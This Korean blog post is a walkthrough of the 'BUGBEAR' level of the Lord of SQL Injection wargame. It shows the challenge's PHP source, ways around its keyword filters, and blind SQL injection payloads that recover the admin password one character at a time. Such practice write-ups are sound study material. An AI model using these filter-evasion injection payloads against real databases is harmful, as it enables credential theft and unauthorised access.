본문 바로가기
[웹해킹]/[LOS]

[LOS] BUGBEAR

by Hevton 2020. 12. 16.
반응형
<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[no])) exit("No Hack ~_~"); 
  if(preg_match('/\'/i', $_GET[pw])) exit("HeHe"); 
  if(preg_match('/\'|substr|ascii|=|or|and| |like|0x/i', $_GET[no])) exit("HeHe"); 
  $query = "select id from prob_bugbear where id='guest' and pw='{$_GET[pw]}' and no={$_GET[no]}"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
   
  $_GET[pw] = addslashes($_GET[pw]); 
  $query = "select pw from prob_bugbear where id='admin' and pw='{$_GET[pw]}'"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("bugbear"); 
  highlight_file(__FILE__); 
?>

 

필터링이 꽤많다.

 

자, 비밀번호 길이부터 대보자.

 

[ 필터링 -> 우회 ]

공백 -> ()

like, = -> in()

'admin' -> 0b0110000101100100011011010110100101101110, "admin"

 

 

 

query : select id from prob_bugbear where id='guest' and pw='2' and no=(1)||(id)in(0b0110000101100100011011010110100101101110)&&length(pw)in(8)
-> true 패스워드 8자리

 

 

가만 생각해보니, 큰따옴표는 필터링이 아니므로 이렇게 이진수로 힘들게 해주기보다 큰따옴표로 해주면 되겠다.


query : select id from prob_bugbear where id='guest' and pw='2' and no=(1)||(id)in("admin")&&right(left(pw,x),1)in("y")

-> x, y 값을 바꿔주며 맞춰나간다.

나같은 경우 프로그램으로 돌렸는데, 52DC3991가 나왔다. 정답에 넣어봐도 문제가 풀리지 않는다.

이럴 때, 대문자를 소문자로 바꿔본다. 이전게시글에서 봤듯이 mysql에서 CHAR, VARCHAR, TEXT는 대소문자 구분에 반응하지 않는다.

'admin' = 'ADMIN' 이라는것. 대문자 아스키코드값이 소문자보다 작으므로, 대문자에서 먼저 맞춰졌을 수가 있다.

그래서 안되면 소문자로 바꿔본다.


query : select id from prob_bugbear where id='guest' and pw='52dc3991' and no=

반응형

'[웹해킹] > [LOS]' 카테고리의 다른 글

[LOS] ASSASSIN  (0) 2020.12.18
[LOS] GIANT  (0) 2020.12.17
[LOS] DARKKNIGHT  (0) 2020.12.15
[LOS] GOLEM  (0) 2020.12.14
[LOS] SKELETON  (0) 2020.12.13